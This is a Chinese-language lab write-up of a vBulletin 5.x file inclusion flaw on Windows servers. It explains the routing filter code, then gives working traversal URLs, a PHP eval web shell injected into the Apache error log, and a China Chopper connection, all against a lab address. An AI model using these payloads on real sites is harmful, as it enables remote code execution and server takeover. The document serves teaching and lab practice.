漏洞介绍
vBulletin中存在一个文件包含问题,可使恶意访问者包含来自 vBulletin 服务器的文件并且执行任意 PHP 代码。未经验证的恶意访问者可通过向index.php发出包含 routestring=参数的GET 请求,从而触发文件包含漏洞,最终导致远程代码执行漏洞,影响版本:vBulletin v5.x
漏洞原理
index.php页面发送GET请求去使用routestring参数包含本地文件时,层层调用功能函数对routestring的值进行过滤,主要的处理代码位于/includes/vb5/frontend/routing.php文件
if (strlen($path) > 2 )
{
$ext = strtolower(substr($path, -4)) ;
if(($ext == '.gif') OR ($ext == '.png')OR($ext == '.jpg') OR ($ext == '.css') OR (strtolower(substr($path,-3)) == '.js'))
{
header("HTTP/1.0 404 Not Found");
die('');
}
}
这段代码判断routestring获取的值是否以.gif, .png, .jpg, .css or .js结尾,如果是则头部信息返回404
if (strpos($path, '/') === false)
{
$this->controller = 'relay';
$this->action = 'legacy';
$this->template = '';
$this->arguments = array($path);
$this->queryParameters = array();
return;
}
这段代码中strpos()函数返回/字符在$path中第一次出现的位置,若返回信息为false才会继续处理,也就是说路径中不能出现"/"
对于Linux服务器,处理URL时,/表示目录层的分隔、表示符,所以此处无法以多个../的方式包含网站中的其他文件。但是对于Windows服务器,/和\在表达路径时,是等价的,而程序并没有对\进行处理,所以导致本次针对Windows服务器的文件包含漏洞
实验链接:https://www.ichunqiu.com/vm/60507/1
访问链接:http://172.16.12.2/vb5/index.php?routestring=..\\
爆出了网站的绝对路径
访问网站的写有phpinfo函数的非php文件,验证包含漏洞
http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\phpstudy\\www\phpinfo.txt
成功地执行了根目录下的phpinfo.txt文件
构造链接:http://172.16.12.2/vb5/index.php<?php @eval($_POST['x']);?>
用burp抓包
这个地方被url编码了,需要改一下
发包
返回了403错误,该地址被写到了错误日志里
访问错误日志:http://172.16.12.2/vb5/index.php?routestring=\\..\\..\\..\\..\\..\\phpstudy\\apache\\logs\\error.log
php一句话木马被写到里面,用菜刀连接
连接成功